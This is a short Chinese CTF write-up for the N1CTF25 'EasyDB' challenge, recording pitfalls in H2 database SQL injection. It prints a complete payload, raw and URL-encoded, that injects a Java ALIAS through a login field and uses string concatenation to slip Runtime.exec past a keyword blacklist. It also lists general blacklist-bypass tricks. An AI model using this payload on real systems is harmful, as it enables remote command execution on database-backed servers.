N1CTF25-EasyDB

记录一下踩坑
1、executeQuery 可以执行 create
一开始以为executeQuery 不能执行create 操作。但是后来发现是可以的,只需要在前面加一个select 语句就行。
1 | select 1;CREATE ALIAS RT AS 。。。。 |
2、SQL语句中,单引号和双引号的意义不一样
最后CALL RT(‘calc’);时,一开始用的是双引号,但是双引号会报错:Column “calc” not found; SQL statement:
CALL RT(“calc”);
这是因为在 H2 SQL 中,字符串字面量通常使用单引号(’)来包围。双引号(”)在 SQL 中通常用于标识标识符,如表名、列名等。因此,当你在 CALL RT(“calc”) 中使用双引号时,SQL 解释器会将其解释为一个标识符(例如列名),而不是字符串字面量,从而导致错误。
其他数据库也有这种特性,之后要注意。
3、h2sql 的注释符只有 –
一开始用的是#,一直报错。后面查了一下发现没有 #。这点跟mysql 不一样。
这里主要考察的其实是黑名单绕过,用的是Java的字符串拼接。一开始想到其他编码方式绕过,其实不用这么麻烦。以后应该先考虑这种拼接绕过。
总结一下,基于字符串的过滤,可以通过:拼接,编码,运算(异或、取反)等方法绕过。
最终post参数:
1 | aa';CREATE ALIAS RT AS $$ void rt(String cmd) throws java.lang.Exception {java.lang.Class<?> run = java.lang.Class.forName("java.lang.Run" + "time");java.lang.reflect.Method getr = run.getMethod("getRun"+"time");java.lang.reflect.Method ex = run.getMethod("exe" + "c", String.class);ex.invoke(getr.invoke(null), "calc");}$$;CALL RT('calc');-- |
1 | username=aa%27%3BCREATE%20ALIAS%20RT%20AS%20%24%24%20void%20rt%28String%20cmd%29%20throws%20java.lang.Exception%20%7Bjava.lang.Class%3C%3F%3E%20run%20%3D%20java.lang.Class.forName%28%22java.lang.Run%22%20%2B%20%22time%22%29%3Bjava.lang.reflect.Method%20getr%20%3D%20run.getMethod%28%22getRun%22%2B%22time%22%29%3Bjava.lang.reflect.Method%20ex%20%3D%20run.getMethod%28%22exe%22%20%2B%20%22c%22%2C%20String.class%29%3Bex.invoke%28getr.invoke%28null%29%2C%20%22calc%22%29%3B%7D%24%24%3BCALL%20RT%28%27calc%27%29%3B--&password=123 |